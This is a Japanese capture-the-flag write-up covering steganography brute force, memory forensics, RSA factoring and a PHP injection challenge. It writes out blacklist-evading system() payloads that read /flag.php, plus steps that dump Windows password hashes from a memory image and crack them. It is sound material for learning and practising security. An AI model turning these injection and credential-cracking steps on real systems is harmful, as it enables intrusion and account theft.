flag{server_side_php_xss_is_less_known_but_considering_almost_80%_of_websites_use_php_it_is_good_to_know_thank_me_later_i_dont_want_to_stop_typing_this_flagg_is_getting_long_but_i_feel_like_we're_developing_a_really_meaningful_connection}
flag{server_side_php_xss_is_less_known_but_considering_almost_80%_of_websites_use_php_it_is_good_to_know_thank_me_later_i_dont_want_to_stop_typing_this_flagg_is_getting_long_but_i_feel_like_we're_developing_a_really_meaningful_connection}

Stegosaurus stenops (forens)

steghideによる情報隠蔽があやしいが、パスワードがわからないので、ブルートフォースをする。

$ python steg_brute.py -b -d dict/rockyou.txt -f stegosaurus.jpg

 [i] Searching...
  0%|                                                                    |

 wrote extracted data to "stegosaurus_flag.txt".


 [+] Information obtained with password: snowflake

flag{ungulatus_better_than_stenops}
flag{ungulatus_better_than_stenops}

ProgrammersHateProgramming 2 (web)

noteを追加すると、phpとして追加されるのは「ProgrammersHateProgramming」の問題と同じ。ただブラックリストの文字列が増え、それを回避して情報を得る必要がある。以下のように入力して情報を得る。

■<<?? system("pwd"); ??>>
/var/www/html

■<<?? system("ls -l /"); ??>>

total 76
drwxr-xr-x   1 root root 4096 Dec 11  2020 bin
drwxr-xr-x   2 root root 4096 Nov 22  2020 boot
drwxr-xr-x   5 root root  340 Sep 18 19:08 dev
drwxr-xr-x   1 root root 4096 Sep 18 19:08 etc
-rw-r--r--   1 root root  104 Sep 18 16:51 flag.php
drwxr-xr-x   2 root root 4096 Nov 22  2020 home
drwxr-xr-x   1 root root 4096 Dec 11  2020 lib
drwxr-xr-x   2 root root 4096 Dec  9  2020 lib64
drwxr-xr-x   2 root root 4096 Dec  9  2020 media
drwxr-xr-x   2 root root 4096 Dec  9  2020 mnt
drwxr-xr-x   2 root root 4096 Dec  9  2020 opt
dr-xr-xr-x 345 root root    0 Sep 18 19:08 proc
drwx------   1 root root 4096 Dec 11  2020 root
drwxr-xr-x   1 root root 4096 Dec 11  2020 run
drwxr-xr-x   1 root root 4096 Dec 11  2020 sbin
drwxr-xr-x   2 root root 4096 Dec  9  2020 srv
dr-xr-xr-x  13 root root    0 Sep 18 19:08 sys
drwxrwxrwt   1 root root 4096 Sep 18 21:26 tmp
drwxr-xr-x   1 root root 4096 Dec  9  2020 usr
drwxr-xr-x   1 root root 4096 Dec 11  2020 var

■<<?? system("ccatat /flflagag.php"); ??>>
flag{wow_that_was_a_lot_of_filters_anyways_how_about_that_meaningful_connection_i_mentioned_earlier_:)}
flag{wow_that_was_a_lot_of_filters_anyways_how_about_that_meaningful_connection_i_mentioned_earlier_:)}

Not_Baby (crypto)

factordbでnを素因数分解すると、一部しか分解できない。

n = 2^2 * 73 * 181 * 11411 * 235111 * 405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967

最後の405...が素数ではない。yafuで素因数分解してみる。

>yafu-x64.exe "factor(405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967)" -v -threads 4


09/18/21 23:54:28 v1.34.5 @ XXXXXXXX, System/Build Info:
Using GMP-ECM 6.3, Powered by GMP 5.1.1
detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz
detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes
measured cpu frequency ~= 2895.213960
using 20 random witnesses for Rabin-Miller PRP checks

===============================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
=======             bbuhrow@gmail.com                   =======
=======     Type help at any time, or quit to quit      =======
===============================================================
cached 78498 primes. pmax = 999983


>> fac: factoring 405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
fac: found nfs job file, resuming nfs
nfs: checking for job file - job file found, testing for matching input
nfs: number in job file matches input
nfs: checking for data file
nfs: no data file found
nfs: commencing nfs on c105: 405068235301607959850203988278514454782583464657297479002456013587769963884971817073346255435009991910967
nfs: parsed lpbr = 26, lpba = 26
nfs: continuing with sieving - could not determine last special q; using default startq
nfs: commencing algebraic side lattice sieving over range: 1265000 - 1270000
nfs: commencing algebraic side lattice sieving over range: 1250000 - 1255000
nfs: commencing algebraic side lattice sieving over range: 1260000 - 1265000
nfs: commencing algebraic side lattice sieving over range: 1255000 - 1260000
gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $
gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $
gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $
 Warning:  lowering FB_bound to 1249999.
 Warning:  lowering FB_bound to 1264999.
 Warning:  lowering FB_bound to 1259999.
gnfs-lasieve4I12e: L1_BITS=15, SVN $Revision: 406 $
 Warning:  lowering FB_bound to 1254999.
FBsize 96580+0 (deg 4), 183071+0 (deg 1)
FBsize 96974+0 (deg 4), 183071+0 (deg 1)
FBsize 96210+0 (deg 4), 183071+0 (deg 1)
FBsize 97321+0 (deg 4), 183071+0 (deg 1)

        :

commencing square root phase
reading relations for dependency 1
read 189840 cycles
cycles contain 700264 unique relations
read 700264 relations
multiplying 700264 relations
multiply complete, coefficients have about 29.20 million bits
initial square root is modulo 242932597
sqrtTime: 28
NFS elapsed time = 4791.5450 seconds.
pretesting / nfs ratio was 0.00
Total factoring time = 4791.5470 seconds


***factors found***

P71 = 61872434969046837223597248696590986360784288448775988338706090668799371
P34 = 6546828737292350227122068012441477

ans = 1

素因数分解できたので、あとは通常通り復号する。

from Crypto.Util.number import *

n = 57436275279999211772332390260389123467061581271245121044959385707165571981686310741298519009630482399016808156120999964
e = 65537
ct = 25287942932936198887822866306739577372124406139134641253461396979278534624726135258660588590323101498005293149770225633

primes = {2: 2, 73: 1, 181: 1, 11411: 1, 235111: 1,
    6546828737292350227122068012441477: 1,
    61872434969046837223597248696590986360784288448775988338706090668799371: 1}

phi = 1
for k, v in list(primes.items()):
    phi *= (k - 1) * (k ** (v - 1))

d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m)
print flag
flag{f4ct0ring_s0000oo00000o00_h4rd}

memedium (forens)

何かしらのパスワードがフラグということらしい。

$ volatility -f mememachinememory.vmem imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : WinXPSP2x86, WinXPSP3x86 (Instantiated with WinXPSP2x86)
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/mememachinememory.vmem)
                      PAE type : PAE
                           DTB : 0x334000L
                          KDBG : 0x80545ae0L
          Number of Processors : 1
     Image Type (Service Pack) : 3
                KPCR for CPU 0 : 0xffdff000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2021-02-24 19:53:21 UTC+0000
     Image local date and time : 2021-02-24 14:53:21 -0500

$ volatility -f mememachinememory.vmem --profile=WinXPSP2x86 hivelist
Volatility Foundation Volatility Framework 2.6.1
Virtual    Physical   Name
---------- ---------- ----
0xe1b974e0 0x089ff4e0 \Device\HarddiskVolume1\Documents and Settings\LocalService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1b8fb60 0x0892eb60 \Device\HarddiskVolume1\Documents and Settings\LocalService\NTUSER.DAT
0xe1b68b60 0x08379b60 \Device\HarddiskVolume1\Documents and Settings\NetworkService\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1b5e008 0x082a2008 \Device\HarddiskVolume1\Documents and Settings\NetworkService\NTUSER.DAT
0xe1625950 0x049d1950 \Device\HarddiskVolume1\WINDOWS\system32\config\software
0xe15e40f0 0x03f990f0 \Device\HarddiskVolume1\WINDOWS\system32\config\default
0xe161fb60 0x049a5b60 \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
0xe15e8b60 0x04044b60 \Device\HarddiskVolume1\WINDOWS\system32\config\SECURITY
0xe13e5530 0x024ad530 [no name]
0xe1018370 0x020dd370 \Device\HarddiskVolume1\WINDOWS\system32\config\system
0xe1008b60 0x020a1b60 [no name]
0xe2031008 0x00711008 \Device\HarddiskVolume1\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Windows\UsrClass.dat
0xe1ab1690 0x06b5f690 \Device\HarddiskVolume1\Documents and Settings\Administrator\NTUSER.DAT

$ volatility -f mememachinememory.vmem --profile=WinXPSP2x86 hashdump -y 0xe1018370 -s 0xe161fb60
Volatility Foundation Volatility Framework 2.6.1
Administrator:500:cdf5e5fd95c14d936e9c218c1f22e251:31a5167ba5ce8351b0110a9d13636cd9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:2c111668e0c7fd616a8af0feb7e4fcc1:103cc84c0cbb0bada9eea387d6df8207:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:9546430bd8979312c16cb95d28bfc853:::

https://hashes.com/en/decrypt/hashでクラックする。Administratorのハッシュ31a5167ba5ce8351b0110a9d13636cd9のパスワードが見つかった。

31a5167ba5ce8351b0110a9d13636cd9:superman83
flag{superman83}

Knapsack (crypto)

Merkle-Hellmanナップサック暗号になっているので、LLLを使って復号する。

#!/usr/bin/sage
from Crypto.Util.number import long_to_bytes

def is_valid_vector(b):
    if b[0] != 0:
        return False
    for i, x in enumerate(b):
        if i != 0 and abs(x) != 1:
            return False

    return True

with open('output.txt', 'r') as f:
    b = eval(f.readline().split(': ')[1])
    c = int(f.readline().split(': ')[1])

matrix_size = len(b) + 1
m_list = [
    [0 for _ in range(matrix_size)] for _ in range(matrix_size)
]

for i in range(matrix_size - 1):
    m_list[i][0] = b[i]
    m_list[i][i+1] = 2
    m_list[matrix_size - 1][i+1] = -1

m_list[matrix_size - 1][0] = - c

llled = Matrix(ZZ, m_list).LLL()

flag_vecs = []
for basis in llled:
    if is_valid_vector(basis):
        flag_vecs.append(basis)

for v in flag_vecs:
    bin_flag = ''
    for _bit in reversed(v):
        c = ("1" if _bit == 1 else "0")
        bin_flag = c + bin_flag

    flag = long_to_bytes(int(bin_flag, 2))
    print(flag)
flag{b4d_r_4nd_q_1s_sc4ry}

Mr. Robot and Friends (forens)

フィッシングメールの送信者の名前がフラグ。

$ volatility -f mrrobotandfriends.vmss imageinfo
Volatility Foundation Volatility Framework 2.6.1
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x86_23418, Win7SP0x86, Win7SP1x86_24000, Win7SP1x86
                     AS Layer1 : IA32PagedMemoryPae (Kernel AS)
                     AS Layer2 : VMWareAddressSpace (Unnamed AS)
                     AS Layer3 : FileAddressSpace (/mnt/hgfs/Shared/work/mrrobotandfriends.vmss)
                      PAE type : PAE
                           DTB : 0x185000L
                          KDBG : 0x82765be8L
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0x82766c00L
                KPCR for CPU 1 : 0x807c5000L
             KUSER_SHARED_DATA : 0xffdf0000L
           Image date and time : 2015-10-09 12:53:02 UTC+0000
     Image local date and time : 2015-10-09 08:53:02 -0400

$ volatility -f mrrobotandfriends.vmss --profile=Win7SP1x86_23418 pstree
Volatility Foundation Volatility Framework 2.6.1
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0x84ecbb18:csrss.exe                                 368    360      9    366 2015-10-09 11:30:47 UTC+0000
 0x84f97628:wininit.exe                               420    360      3     77 2015-10-09 11:30:48 UTC+0000
. 0x84e979f8:services.exe                             528    420      9    200 2015-10-09 11:30:48 UTC+0000
.. 0x85ae0cb0:dllhost.exe                            1888    528     13    196 2015-10-09 11:30:54 UTC+0000
.. 0x8586fd40:svchost.exe                             644    528     11    351 2015-10-09 11:30:48 UTC+0000
.. 0x85ae3030:vmtoolsd.exe                           1432    528      8    274 2015-10-09 11:30:54 UTC+0000
.. 0x85935030:svchost.exe                             796    528     19    446 2015-10-09 11:30:51 UTC+0000
.. 0x85d01510:svchost.exe                            3232    528      9    131 2015-10-09 11:31:34 UTC+0000
.. 0x858b69e8:msdtc.exe                              1980    528     12    145 2015-10-09 11:30:55 UTC+0000
.. 0x85978940:svchost.exe                             864    528     30   1036 2015-10-09 11:30:52 UTC+0000
.. 0x85969030:svchost.exe                             836    528     17    405 2015-10-09 11:30:52 UTC+0000
... 0x85c09968:dwm.exe                               2088    836      3     93 2015-10-09 11:31:04 UTC+0000
.. 0x85c39030:taskhost.exe                           2252    528      7    150 2015-10-09 11:31:04 UTC+0000
.. 0x8582c8d8:spoolsv.exe                            1228    528     12    273 2015-10-09 11:30:53 UTC+0000
.. 0x84e01448:svchost.exe                             720    528      6    276 2015-10-09 11:30:50 UTC+0000
.. 0x85a138f0:svchost.exe                            1124    528     16    484 2015-10-09 11:30:53 UTC+0000
.. 0x85a55d40:svchost.exe                            1256    528     17    304 2015-10-09 11:30:53 UTC+0000
.. 0x85b43a58:sppsvc.exe                             3900    528      4    153 2015-10-09 11:32:54 UTC+0000
.. 0x859cc2c0:svchost.exe                            1008    528     13    650 2015-10-09 11:30:52 UTC+0000
.. 0x8598c920:SearchIndexer.                         2544    528     13    670 2015-10-09 11:31:10 UTC+0000
.. 0x85976318:svchost.exe                            1784    528      5     99 2015-10-09 11:30:54 UTC+0000
. 0x8583b030:lsass.exe                                536    420      9    851 2015-10-09 11:30:48 UTC+0000
. 0x8583d960:lsm.exe                                  544    420     10    163 2015-10-09 11:30:48 UTC+0000
 0x83d334e8:System                                      4      0     94    500 2015-10-09 11:30:44 UTC+0000
. 0x84edcbf0:smss.exe                                 276      4      2     30 2015-10-09 11:30:44 UTC+0000
 0x84013598:TeamViewer.exe                           2680   1696     28    632 2015-10-09 12:08:46 UTC+0000
. 0x858bc278:TeamViewer_Des                          1092   2680     16    405 2015-10-09 12:10:56 UTC+0000
. 0x84017d40:tv_w32.exe                              4064   2680      2     83 2015-10-09 12:08:47 UTC+0000
 0x85c1e5f8:explorer.exe                             2116   2060     23    912 2015-10-09 11:31:04 UTC+0000
. 0x83eb5d40:cmd.exe                                 2496   2116      1     22 2015-10-09 11:33:42 UTC+0000
. 0x83f1ed40:mstsc.exe                               2844   2116     11    484 2015-10-09 12:12:03 UTC+0000
. 0x83fb86a8:cmd.exe                                 3064   2116      1     22 2015-10-09 11:37:32 UTC+0000
. 0x859281f0:vmtoolsd.exe                            2388   2116      7    164 2015-10-09 11:31:04 UTC+0000
. 0x85cd3d40:OUTLOOK.EXE                             3196   2116     22   1678 2015-10-09 11:31:32 UTC+0000
 0x855f6d40:csrss.exe                                 432    412     11    366 2015-10-09 11:30:48 UTC+0000
. 0x83f13d40:conhost.exe                             1624    432      3     81 2015-10-09 11:35:15 UTC+0000
. 0x83fa9030:conhost.exe                              676    432      3     83 2015-10-09 11:37:32 UTC+0000
. 0x83e5cd40:conhost.exe                              916    432      3     83 2015-10-09 11:33:42 UTC+0000
. 0x83fc7c08:conhost.exe                             1824    432      3     85 2015-10-09 11:39:22 UTC+0000
 0x8561d030:winlogon.exe                              480    412      3    115 2015-10-09 11:30:48 UTC+0000
 0x85d0d030:iexplore.exe                             2996   2984      6    463 2015-10-09 11:31:27 UTC+0000
. 0x83f105f0:cmd.exe                                 1856   2996      1     33 2015-10-09 11:35:15 UTC+0000
 0x83fb2d40:cmd.exe                                  3784   2196      1     24 2015-10-09 11:39:22 UTC+0000

メールのfromの情報を取得したいので、Outlookのプロセスダンプを取得してみる。

$ volatility -f mrrobotandfriends.vmss --profile=Win7SP1x86_23418 memdump -D . -p 3196
Volatility Foundation Volatility Framework 2.6.1
************************************************************************
Writing OUTLOOK.EXE [  3196] to 3196.dmp

メールの"From: "が含まれている箇所を見てみる。

$ strings 3196.dmp | grep From:
From: The Whit3R0s3 <th3wh1t3r0s3@gmail.com>
From:
flag{The_Whit3R0s3}

MRSA (crypto)

入力した結果の値をencとして、式を変形していく。

p % s = enc
  ↓
p = s * k + enc
  ↓
n = p * q = (s * k + enc) * q
  ↓
n % s = (enc * q) % s
  ↓
q % s = (n * inverse(enc)) % s
  ↓
q = ((n * inverse(enc)) % s) + s * A

Aを順に増やしてnの約数になるものを探す。見つかったら、qの値からpの値がわかり、あとは通常通り復号する。

import socket
from Crypto.Util.number import *

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('143.198.127.103', 42011))

data = recvuntil(s, '\n').rstrip()
print data
n = int(data.split(': ')[1])
data = recvuntil(s, '\n').rstrip()
print data
e = int(data.split(': ')[1])
data = recvuntil(s, '\n').rstrip()
print data
ct = int(data.split(': ')[1])

inp_s = getPrime(127)
data = recvuntil(s, 'Enter: ').rstrip()
print data + str(inp_s)
s.sendall(str(inp_s) + '\n')
data = recvuntil(s, '\n').rstrip()
print data
enc = int(data)

q = ((n * inverse(enc, inp_s)) % inp_s) + inp_s
while True:
    if n % q == 0:
        break
    q += inp_s

assert n % q == 0
p = n // q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m)
print flag

実行結果は以下の通り。

n: 20603782820542082184416268948744603762407194319137585909990405447963323634526241645188028117944337285512644908027511
e: 65537
ct: 680809290864502080039915858332076289761976840437553625856516570412495781280738449311123758941539089923500066331209
######################################################################
Now here's the More part!!!
Enter some message, and I will encrypt it for you
But you gotta follow the condition that your message gotta be less than q (and like legitamite)
######################################################################
Enter:163182744620913721929016238375135792857
59808139329023928575305949361851876653
flag{1dk_what_to_wr1te_h3re_s0_hii_ig}
flag{1dk_what_to_wr1te_h3re_s0_hii_ig}

leftovers (crypto)

サーバの処理概要は以下の通り。

・mod = gen()
 ・mod: 10**9以上10**10以下のランダム整数(奇数)
・small = mod
・以下繰り返し
 ・iが2以上int((mod+5)**(1/2))未満で以下を検査
  ・modがiで割り切れたら、small = iとし、検査終了
 ・smallとmodが違う場合はmod*=smallで、終了
※((mod+5)**(1/2))未満で割り切れるものが必ずあり、modはそれの2乗で割り切れる。
・lst: small-1個分の1の配列
・r: min(10,small-1)以上small*3以下のランダム整数
・lstにr個の0を追加
・lstをシャッフル
・modを表示
・lstを文字列として結合したものを表示
・s: 数値をスペース区切りで入力
・s: sの各数値の配列(各数値は2以上mod未満)
・sの長さとlstの長さが同じであることをチェック
・sの配列には同じ値がないかをチェック
・sの各値について以下をチェック
 ・pow(sの各値, small, mod) = 1の場合
  cs += "1"
 ・そうでない場合
  cs += "0"
 ・csと表示したstringが同じ
・すべてのチェックがOKの場合、フラグを表示

1の数が2個以下だったら、以下は必ず条件を満たすので、チェックをパスすることができる。

・pow(mod // small+1, small, mod) == 1
・pow(mod // small * 2 +1, small, mod) == 1

つまりsmallが3の場合にチェックをパスできる。繰り返し問題を見て、smallが3の問題が出たら、答える。

import socket
import re

def recvuntil(s, tail):
    data = ''
    while True:
        if tail in data:
            return data
        data += s.recv(1)

while True:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('143.198.127.103', 42012))

    data = recvuntil(s, 'to 1.\n').rstrip()
    print data
    pattern = 'power of (\d+) is congruent to 1 mod (\d+) it'
    m = re.search(pattern, data)
    small = int(m.group(1))
    mod = int(m.group(2))
    if small == 3:
        break

data = recvuntil(s, 'Enter: ')
print data[:-1],

string = data.split('\n')[-2]
ans = ''
next = 2
init = True
for i in string:
    if i == '0':
        ans += str(next) + ' '
        next += 1
    else:
        v = mod // small
        if init == False:
            v *= 2
        else:
            init = False
        ans += str(v + 1) + ' '

ans = ans[:-1]
print ans
s.sendall(ans + '\n')
data = recvuntil(s, '\n').rstrip()
print data

実行結果は以下の通り。

Alright, I will send you a string, where each char contains either 0 or 1.
Then you will send me a list of integers back with the same size, separated by spaces.
Now for each number in your list, a, if it satisfies a to the power of 3 is congruent to 1 mod 18996169653 it will encode to 1.
Otherwise, your number will encode to 0. Now I will concattenate all of your encoded numbers into a string.
If this string equals the original string I sent you, then you will get the flag :yayy:.
One final caveat: all your numbers must be unique and positive integers greater than 1 and less than 18996169653.
0100100
Enter: 2 6332056552 3 4 12664113103 5 6
b'flag{pr1mes_r_pr3tty_sp3c14lll}'
flag{pr1mes_r_pr3tty_sp3c14lll}

Not_Baby_Fixed (crypto)

factordbでnを素因数分解する。一部しか分解できない。

n = 2^4 * 5 * 71 * 103 * 8581 * 50543 * 190026430624001 * 2703970397964298301 * 24044306141470122836526327719817809786885076499717262032724432402622824094872767885136373539655386164061947332072857325490641126195131896226892989183487084527633141038907298988762474925837

最後の240...が素数ではない。yafuで素因数分解してみる。

>yafu-x64.exe "factor(24044306141470122836526327719817809786885076499717262032724432402622824094872767885136373539655386164061947332072857325490641126195131896226892989183487084527633141038907298988762474925837)" -v -threads 4


09/20/21 07:00:49 v1.34.5 @ XXXXXXXX, System/Build Info:
Using GMP-ECM 6.3, Powered by GMP 5.1.1
detected Intel(R) Core(TM) i7-10700 CPU @ 2.90GHz
detected L1 = 32768 bytes, L2 = 16777216 bytes, CL = 64 bytes
measured cpu frequency ~= 2908.957580
using 20 random witnesses for Rabin-Miller PRP checks

===============================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
=======             bbuhrow@gmail.com                   =======
=======     Type help at any time, or quit to quit      =======
===============================================================
cached 78498 primes. pmax = 999983


>> fac: factoring 24044306141470122836526327719817809786885076499717262032724432402622824094872767885136373539655386164061947332072857325490641126195131896226892989183487084527633141038907298988762474925837
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 95 digits
div: primes less than 10000
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C188
rho: x^2 + 2, starting 1000 iterations on C188
rho: x^2 + 1, starting 1000 iterations on C188
pm1: starting B1 = 150K, B2 = gmp-ecm default on C188
fac: setting target pretesting digits to 57.85
fac: sum of completed work is t0.00
fac: work done at B1=2000: 0 curves, max work = 30 curves
fac: 30 more curves at B1=2000 needed to get to t57.85
ecm: 30/30 curves on C188, B1=2K, B2=gmp-ecm default
fac: setting target pretesting digits to 57.85
fac: t15: 1.00
fac: t20: 0.04
fac: sum of completed work is t15.18
fac: work done at B1=11000: 0 curves, max work = 74 curves
fac: 74 more curves at B1=11000 needed to get to t57.85
ecm: 74/74 curves on C188, B1=11K, B2=gmp-ecm default
fac: setting target pretesting digits to 57.85
fac: t15: 7.17
fac: t20: 1.04
fac: t25: 0.05
fac: sum of completed work is t20.24
fac: work done at B1=50000: 0 curves, max work = 214 curves
fac: 214 more curves at B1=50000 needed to get to t57.85
ecm: 214/214 curves on C188, B1=50K, B2=gmp-ecm default, ETA: 0 sec
pm1: starting B1 = 3750K, B2 = gmp-ecm default on C188
fac: setting target pretesting digits to 57.85
fac: t15: 37.74
fac: t20: 11.23
fac: t25: 1.05
fac: t30: 0.07
fac: sum of completed work is t25.33
fac: work done at B1=250000: 0 curves, max work = 430 curves
fac: 430 more curves at B1=250000 needed to get to t57.85
ecm: 430/430 curves on C188, B1=250K, B2=gmp-ecm default, ETA: 1 sec
pm1: starting B1 = 15M, B2 = gmp-ecm default on C188
fac: setting target pretesting digits to 57.85
fac: t15: 123.74
fac: t20: 64.98
fac: t25: 9.65
fac: t30: 1.07
fac: t35: 0.09
fac: sum of completed work is t30.45
fac: work done at B1=1000000: 0 curves, max work = 904 curves
fac: 904 more curves at B1=1000000 needed to get to t57.85
ecm: 44/904 curves on C188, B1=1M, B2=gmp-ecm default, ETA: 37.9 min
ecm: found prp37 factor = 2612704207743743498414225576245857791

fac: setting target pretesting digits to 46.46
fac: t15: 138.74
fac: t20: 73.98
fac: t25: 11.90
fac: t30: 1.45
fac: t35: 0.14
fac: t40: 0.01
fac: sum of completed work is t30.70
fac: work done at B1=1000000: 45 curves, max work = 904 curves
fac: 859 more curves at B1=1000000 needed to get to t46.46
Total factoring time = 440.4927 seconds


***factors found***

P37 = 2612704207743743498414225576245857791
P151 = 9202842813283520053373814153366196725555378670569425651403981961003320229089581578132314718638828971883763395128536959296142080739168256752552585624307

ans = 1

素因数分解できたので、あとは通常通り復号する。

from Crypto.Util.number import *

n = 3134820448585521702394003995997656455907477282436511703324204127865184340978305062848983553236851077753614495104127538077189920381627136628226756258746377111950396074035862527542407869672121642062363412247864869790585619483151943257840
e = 65537
ct = 1918452064660929090686220330495385310745803950329608928110672560978679963497394969369363585721389729566306519544561789659164639271919010791127784820214512488663422537225906608133719652453804000168907004058397487865279113133220466050285

primes = {2: 4, 5: 1, 71: 1, 103: 1, 8581: 1, 50543: 1, 190026430624001: 1,
    2703970397964298301: 1, 2612704207743743498414225576245857791: 1,
    9202842813283520053373814153366196725555378670569425651403981961003320229089581578132314718638828971883763395128536959296142080739168256752552585624307: 1}

phi = 1
for k, v in list(primes.items()):
    phi *= (k - 1) * (k ** (v - 1))

d = inverse(e, phi)
m = pow(ct, d, n)
flag = long_to_bytes(m)
print flag
flag{plz_n0_guess_sum_of_a_b_c_d1vides_n}

Survey (misc)

アンケートに答えたら、フラグが表示された。

flag{thamks_for_playing_beautiful_people!}